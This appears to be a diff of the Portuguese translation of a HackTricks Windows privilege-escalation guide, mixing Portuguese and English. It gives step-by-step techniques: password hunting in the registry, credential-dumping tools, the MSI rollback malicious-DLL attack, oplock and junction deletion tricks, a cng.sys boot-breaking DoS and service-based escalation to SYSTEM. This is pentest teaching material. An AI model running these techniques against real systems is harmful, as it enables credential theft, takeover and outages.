user.txt where /R C:\ *.ini ``` -**Pesquisar o registro em busca de nomes de chaves e senhas** +**Pesquisar o registro por nomes de chaves e senhas** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1252,11 +1281,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Ferramentas que procuram por passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um msf** plugin. Eu criei este plugin para **automatically execute every metasploit POST module that searches for credentials** dentro da vítima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) procura automaticamente por todos os arquivos que contêm passwords mencionados nesta página.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair password de um sistema. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um msf** plugin. Criei este plugin para **executar automaticamente cada metasploit POST module que procura por credentials** dentro da vítima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) procura automaticamente por todos os arquivos que contenham passwords mencionados nesta página.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair passwords de um sistema. -A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) procura por **sessions**, **usernames** e **passwords** de várias ferramentas que salvam esses dados em clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP) +A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) procura por **sessions**, **usernames** e **passwords** de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1265,28 +1294,28 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ -[Leia este exemplo para mais informações sobre **como detectar e explorar essa vulnerabilidade**.](leaked-handle-exploitation.md)\ -[Leia este **outro post para uma explicação mais completa sobre como testar e abusar de mais open handlers de processos e threads herdados com diferentes níveis de permissões (não apenas acesso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine que **um processo em execução como SYSTEM abre um novo processo** (`OpenProcess()`) com **full access**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com low privileges mas herdando todos os open handles do processo principal**.\ +Então, se você tem **full access ao processo com privilégios baixos**, você pode pegar o **open handle para o processo privilegiado criado** com `OpenProcess()` e **injectar um shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmentos de memória compartilhada, referidos como **pipes**, permitem comunicação entre processos e transferência de dados. +Shared memory segments, referred to as **pipes**, permitem comunicação e transferência de dados entre processos. -O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, até através de redes diferentes. Isso se assemelha a uma arquitetura client/server, com papéis definidos como **named pipe server** e **named pipe client**. +O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, até mesmo através de redes diferentes. Isso se assemelha a uma arquitetura client/server, com papéis definidos como **named pipe server** e **named pipe client**. -Quando dados são enviados por meio de um pipe por um **client**, o **server** que criou o pipe tem a capacidade de **assumir a identidade** do **client**, desde que possua os direitos **SeImpersonate** necessários. Identificar um **processo privilegiado** que se comunica via um pipe que você pode mimetizar oferece a oportunidade de **obter privilégios mais elevados** ao adotar a identidade desse processo quando ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse tipo de ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system). +Quando dados são enviados por uma **client** através de um pipe, o **server** que criou o pipe tem a capacidade de **assumir a identidade** da **client**, caso possua os direitos **SeImpersonate** necessários. Identificar um **processo privilegiado** que se comunica via um pipe que você consegue mimetizar oferece a oportunidade de **obter privilégios mais altos** ao adotar a identidade desse processo quando ele interagir com o pipe que você criou. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**here**](named-pipe-client-impersonation.md) e [**here**](#from-high-integrity-to-system). -Além disso, a ferramenta a seguir permite **interceptar uma comunicação de named pipe com uma ferramenta como o burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Também a seguinte ferramenta permite **interceptar uma comunicação de named pipe com uma ferramenta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Miscelânea +## Misc -### Extensões de arquivo que podem executar código no Windows +### File Extensions that could execute stuff in Windows Confira a página **[https://filesec.io/](https://filesec.io/)** -### **Monitorando linhas de comando em busca de senhas** +### **Monitoring Command Lines for passwords** Ao obter um shell como um usuário, pode haver tarefas agendadas ou outros processos sendo executados que **passam credenciais na linha de comando**. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças. ```bash @@ -1298,13 +1327,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Stealing passwords from processes +## Roubando senhas de processos -## De usuário com privilégios baixos para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## De usuário com poucos privilégios para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se você tiver acesso à interface gráfica (via console ou RDP) e o UAC estiver ativado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário não privilegiado. +Se você tem acesso à interface gráfica (via console ou RDP) e o UAC está ativado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios. -Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo com a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft. +Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo usando a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft. Alguns dos sistemas afetados são os seguintes: ``` @@ -1328,7 +1357,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Para explorar essa vulnerabilidade, é necessário executar os seguintes passos: +Para explorar essa vulnerabilidade, é necessário realizar os seguintes passos: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1370,124 +1399,124 @@ Then **read this to learn about UAC and UAC bypasses:** The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -O ataque basicamente consiste em abusar da funcionalidade de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um **malicious MSI installer** que será usado para sequestrar a pasta `C:\Config.Msi`, que depois será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI, onde os arquivos de rollback terão sido modificados para conter o payload malicioso. +The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. -A técnica resumida é a seguinte: +The summarized technique is the following: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Crie um `.msi` que instale um arquivo inofensivo (ex.: `dummy.txt`) em uma pasta gravável (`TARGETDIR`). -- Marque o instalador como **"UAC Compliant"**, para que um **non-admin user** possa executá-lo. -- Mantenha um **handle** aberto para o arquivo após a instalação. +- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). +- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. +- Keep a **handle** open to the file after install. - Step 2: Begin Uninstall -- Desinstale o mesmo `.msi`. -- O processo de desinstalação começa a mover arquivos para `C:\Config.Msi` e renomeá-los para arquivos `.rbf` (backups de rollback). -- **Poll the open file handle** usando `GetFinalPathNameByHandle` para detectar quando o arquivo se torna `C:\Config.Msi\.rbf`. +- Uninstall the same `.msi`. +- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). +- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing -- O `.msi` inclui uma **custom uninstall action (`SyncOnRbfWritten`)** que: -- Sinaliza quando o `.rbf` foi escrito. -- Então **espera** por outro evento antes de continuar a desinstalação. +- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: +- Signals when `.rbf` has been written. +- Then **waits** on another event before continuing the uninstall. - Step 4: Block Deletion of `.rbf` -- Quando sinalizado, **abra o arquivo `.rbf`** sem `FILE_SHARE_DELETE` — isso **impede que ele seja excluído**. -- Então **sinalize de volta** para que a desinstalação possa terminar. -- Windows Installer falha ao deletar o `.rbf`, e como não consegue deletar todo o conteúdo, **`C:\Config.Msi` não é removida**. +- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. +- Then **signal back** so the uninstall can finish. +- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. - Step 5: Manually Delete `.rbf` -- Você (atacante) exclui o arquivo `.rbf` manualmente. -- Agora **`C:\Config.Msi` está vazia**, pronta para ser sequestrada. +- You (attacker) delete the `.rbf` file manually. +- Now **`C:\Config.Msi` is empty**, ready to be hijacked. > At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recrie a pasta `C:\Config.Msi` você mesmo. -- Defina **weak DACLs** (ex.: Everyone:F), e **mantenha um handle aberto** com `WRITE_DAC`. +- Recreate the `C:\Config.Msi` folder yourself. +- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. - Step 7: Run Another Install -- Instale o `.msi` novamente, com: -- `TARGETDIR`: Local gravável. -- `ERROROUT`: Uma variável que dispara uma falha forçada. -- Essa instalação será usada para acionar o **rollback** novamente, que lê `.rbs` e `.rbf`. +- Install the `.msi` again, with: +- `TARGETDIR`: Writable location. +- `ERROROUT`: A variable that triggers a forced failure. +- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` para monitorar `C:\Config.Msi` até que um novo `.rbs` apareça. -- Capture o nome do arquivo. +- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. +- Capture its filename. - Step 9: Sync Before Rollback -- O `.msi` contém uma **custom install action (`SyncBeforeRollback`)** que: -- Sinaliza um evento quando o `.rbs` é criado. -- Então **espera** antes de continuar. +- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: +- Signals an event when the `.rbs` is created. +- Then **waits** before continuing. - Step 10: Reapply Weak ACL -- Após receber o evento `.rbs created`: -- O Windows Installer **reaplica strong ACLs** em `C:\Config.Msi`. -- Mas como você ainda tem um handle com `WRITE_DAC`, você pode **reaplicar weak ACLs** novamente. +- After receiving the `.rbs created` event: +- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. +- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. > ACLs are **only enforced on handle open**, so you can still write to the folder. - Step 11: Drop Fake `.rbs` and `.rbf` -- Sobrescreva o arquivo `.rbs` com um **fake rollback script** que instrui o Windows a: -- Restaurar seu arquivo `.rbf` (malicious DLL) em um **local privilegiado** (ex.: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Colocar seu fake `.rbf` contendo um **malicious SYSTEM-level payload DLL**. +- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: +- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback -- Sinalize o evento de sincronização para que o instalador retome. -- Uma **type 19 custom action (`ErrorOut`)** é configurada para **falhar intencionalmente a instalação** em um ponto conhecido. -- Isso causa o **início do rollback**. +- Signal the sync event so the installer resumes. +- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. +- This causes **rollback to begin**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Lê seu `.rbs` malicioso. -- Copia seu `.rbf` DLL para o local alvo. -- Você agora tem sua **malicious DLL em um caminho carregado pelo SYSTEM**. +- Reads your malicious `.rbs`. +- Copies your `.rbf` DLL into the target location. +- You now have your **malicious DLL in a SYSTEM-loaded path**. - Final Step: Execute SYSTEM Code -- Execute um **auto-elevated binary** confiável (ex.: `osk.exe`) que carregue a DLL que você sequestrou. -- **Boom**: Seu código é executado **as SYSTEM**. +- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. +- **Boom**: Your code is executed **as SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -A técnica principal de rollback de MSI (a anterior) assume que você pode deletar uma **pasta inteira** (ex.: `C:\Config.Msi`). Mas e se sua vulnerabilidade permitir apenas **arbitrary file deletion**? +The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? -Você pode explorar os **internals do NTFS**: cada pasta tem um fluxo de dados alternativo oculto chamado: +You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Este stream armazena os **metadados de índice** da pasta. +This stream armazena os **metadados de índice** da pasta. -Portanto, se você **excluir o stream `::$INDEX_ALLOCATION`** de uma pasta, NTFS **remove a pasta inteira** do sistema de arquivos. +Portanto, se você **excluir o stream `::$INDEX_ALLOCATION`** de uma pasta, o NTFS **remove a pasta inteira** do sistema de arquivos. Você pode fazer isso usando APIs padrão de exclusão de arquivos como: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Mesmo que você esteja chamando uma *file* delete API, ela **exclui a própria pasta**. +> Mesmo que você esteja chamando uma API de exclusão de *file*, ela **exclui a própria pasta**. ### De Folder Contents Delete para SYSTEM EoP -E se sua primitiva não permitir que você exclua arquivos/pastas arbitrárias, mas ela **permite a exclusão do *conteúdo* de uma pasta controlada pelo atacante**? +E se sua primitiva não permitir que você exclua arquivos/pastas arbitrários, mas ela **permitir a exclusão do *contents* de uma pasta controlada pelo atacante**? -1. Passo 1: Prepare uma pasta e um arquivo de isca -- Create: `C:\temp\folder1` -- Inside it: `C:\temp\folder1\file1.txt` +1. Passo 1: Crie uma pasta de isca e um arquivo +- Crie: `C:\temp\folder1` +- Dentro dela: `C:\temp\folder1\file1.txt` 2. Passo 2: Coloque um **oplock** em `file1.txt` -- O **oplock** **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. +- O oplock **pausa a execução** quando um processo privilegiado tenta excluir `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Etapa 3: Acionar processo SYSTEM (por exemplo, `SilentCleanup`) -- Esse processo percorre pastas (por exemplo, `%TEMP%`) e tenta excluir seu conteúdo. -- Quando alcança `file1.txt`, o **oplock triggers** e entrega o controle para seu callback. +3. Passo 3: Acionar o processo SYSTEM (por exemplo, `SilentCleanup`) +- Esse processo verifica pastas (por exemplo, `%TEMP%`) e tenta excluir o conteúdo delas. +- Quando atingir `file1.txt`, o **oplock triggers** e entrega o controle ao seu callback. -4. Etapa 4: Dentro do oplock callback – redirecionar a exclusão +4. Passo 4: Dentro do oplock callback – redirecionar a exclusão - Opção A: Mover `file1.txt` para outro local - Isso esvazia `folder1` sem quebrar o oplock. @@ -1503,68 +1532,68 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Isso mira o stream interno do NTFS que armazena metadados da pasta — excluí-lo exclui a pasta. +> Isso tem como alvo o stream interno do NTFS que armazena metadados da pasta — apagá-lo apaga a pasta. -5. Etapa 5: Liberar o oplock -- O processo SYSTEM continua e tenta excluir `file1.txt`. -- Mas agora, devido à junction + symlink, ele na verdade está excluindo: +5. Passo 5: Liberar o oplock +- O processo SYSTEM continua e tenta apagar `file1.txt`. +- Mas agora, devido à junction + symlink, ele está na verdade apagando: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **Resultado**: `C:\Config.Msi` é excluído pelo SYSTEM. -### De criação arbitrária de pasta para DoS permanente +### De criação arbitrária de pastas para DoS permanente -Exploit a primitive that lets you **crie uma pasta arbitrária como SYSTEM/admin** — mesmo se **você não puder gravar arquivos** ou **definir permissões fracas**. +Aproveite uma primitiva que permite que você crie uma pasta arbitrária como **SYSTEM/admin** — mesmo se você não puder gravar arquivos ou definir permissões fracas. -Crie uma **pasta** (não um arquivo) com o nome de um **driver crítico do Windows**, por exemplo: +Crie uma **pasta** (não um arquivo) com o nome de um **critical Windows driver**, por exemplo: ``` C:\Windows\System32\cng.sys ``` -- Esse caminho normalmente corresponde ao driver em modo kernel `cng.sys`. -- Se você **o criar previamente como uma pasta**, o Windows falha ao carregar o driver real na inicialização. +- Este caminho normalmente corresponde ao driver em modo kernel `cng.sys`. +- Se você o criar previamente como uma pasta, o Windows falha ao carregar o driver real na inicialização. - Então, o Windows tenta carregar `cng.sys` durante a inicialização. -- Ele vê a pasta, **falha ao resolver o driver real**, e **trava ou interrompe a inicialização**. -- Não há **fallback**, e **nenhuma recuperação** sem intervenção externa (por exemplo, reparo de inicialização ou acesso ao disco). +- Ele vê a pasta, **falha em resolver o driver real**, e **trava ou interrompe a inicialização**. +- Não há **fallback**, e **nenhuma recuperação** sem intervenção externa (por exemplo, reparo da inicialização ou acesso ao disco). -## **De High Integrity para SYSTEM** +## **From High Integrity to System** -### **Novo serviço** +### **New service** -Se você já está executando um processo High Integrity, o **caminho para SYSTEM** pode ser simples apenas **criando e executando um novo serviço**: +Se você já está executando em um processo High Integrity, o **caminho para SYSTEM** pode ser fácil apenas **criando e executando um novo serviço**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Ao criar um binário de serviço, certifique-se de que seja um serviço válido ou que o binário execute as ações necessárias rapidamente, pois ele será encerrado em 20s se não for um serviço válido. +> Ao criar um binário de serviço, certifique-se de que é um serviço válido ou que o binário executa as ações necessárias rapidamente, pois será encerrado em 20s se não for um serviço válido. ### AlwaysInstallElevated -A partir de um processo de alta integridade você pode tentar **habilitar as entradas de registro AlwaysInstallElevated** e **instalar** um reverse shell usando um wrapper _**.msi**_.\ -[Mais informações sobre as chaves de registro envolvidas e como instalar um pacote _.msi_ aqui.](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Você pode** [**encontrar o código aqui**](seimpersonate-from-high-to-system.md)**.** +**Você pode** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Se você tiver esses privilégios de token (provavelmente os encontrará em um processo já de alta integridade), será capaz de **abrir quase qualquer processo** (processos não protegidos) com o privilégio SeDebug, **copiar o token** do processo e criar um **processo arbitrário com esse token**.\ -O uso desta técnica geralmente envolve **selecionar qualquer processo executando como SYSTEM com todos os privilégios de token** (_sim, você pode encontrar processos SYSTEM sem todos os privilégios de token_).\ -**Você pode encontrar um** [**exemplo de código que executa a técnica proposta aqui**](sedebug-+-seimpersonate-copy-token.md)**.** +If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ +Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Essa técnica é usada pelo meterpreter para escalar com `getsystem`. A técnica consiste em **criar um pipe e então criar/abusar de um serviço para escrever nesse pipe**. Em seguida, o **servidor** que criou o pipe usando o privilégio **`SeImpersonate`** poderá **assumir o token** do cliente do pipe (o serviço), obtendo privilégios SYSTEM.\ -Se você quiser [**aprender mais sobre named pipes deve ler isto**](#named-pipe-client-impersonation).\ -Se você quiser ler um exemplo de [**como ir de alta integridade para System usando named pipes deve ler isto**](from-high-integrity-to-system-with-name-pipes.md). +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Se você conseguir **sequestrar uma dll** que esteja sendo **carregada** por um **processo** executando como **SYSTEM**, será capaz de executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalada de privilégios e, além disso, é **muito mais fácil de alcançar a partir de um processo de alta integridade**, pois este terá **permissões de escrita** nas pastas usadas para carregar dlls.\ -**Você pode** [**aprender mais sobre Dll hijacking aqui**](dll-hijacking/index.html)**.** +Se você conseguir **hijack uma dll** sendo **loaded** por um **process** executando como **SYSTEM**, você conseguirá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é muito **mais fácil de conseguir a partir de um High Integrity process** já que ele terá **write permissions** nas pastas usadas para carregar dlls.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1582,7 +1611,7 @@ Se você conseguir **sequestrar uma dll** que esteja sendo **carregada** por um ## Ferramentas úteis -**Melhor ferramenta para procurar vetores de escalada de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** @@ -1590,20 +1619,20 @@ Se você conseguir **sequestrar uma dll** que esteja sendo **carregada** por um [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifica misconfigurações e arquivos sensíveis (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- Verifica algumas possíveis misconfigurações e coleta informações (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica misconfigurações**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessões salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessão salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough localmente.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Credential Manager. Detectado.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Faz spray com senhas coletadas pelo domínio**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofer ADIDNS/LLMNR/mDNS/NBNS em PowerShell e ferramenta man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica do Windows para privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (OBSOLETO em favor do Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Checagens locais **(Precisa de direitos de Admin)** +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é uma ferramenta PowerShell de spoofing ADIDNS/LLMNR/mDNS/NBNS e man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica de privesc no Windows**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades de privesc conhecidas (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Verificações locais **(Precisa de privilégios de Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades conhecidas de privesc (precisa ser compilado usando VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host procurando por misconfigurações (mais uma ferramenta de coleta de info do que de privesc) (precisa ser compilado) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrai credenciais de vários softwares (exe pré-compilado no github)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porta do PowerUp para C#**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Procura por vulnerabilidades de privesc conhecidas (precisa ser compilado usando VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera o host buscando por misconfigurações (mais uma ferramenta de coleta de informação do que privesc) (precisa ser compilado) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrai credenciais de muitos softwares (exe pré-compilado no github)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp para C#**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Verifica misconfigurações (executável pré-compilado no github). Não recomendado. Não funciona bem no Win10.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Verifica possíveis misconfigurações (exe a partir de python). Não recomendado. Não funciona bem no Win10. @@ -1613,14 +1642,14 @@ Se você conseguir **sequestrar uma dll** que esteja sendo **carregada** por um **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lê a saída de **systeminfo** e recomenda exploits funcionais (python local)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lê a saída de **systeminfo** e recomenda exploits funcionais (python local) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lê a saída de **systeminfo** e recomenda exploits que funcionam (python local)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lê a saída de **systeminfo** e recomenda exploits que funcionam (python local) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Você tem que compilar o projeto usando a versão correta do .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão do .NET instalada na máquina da vítima você pode fazer: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1643,4 +1672,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}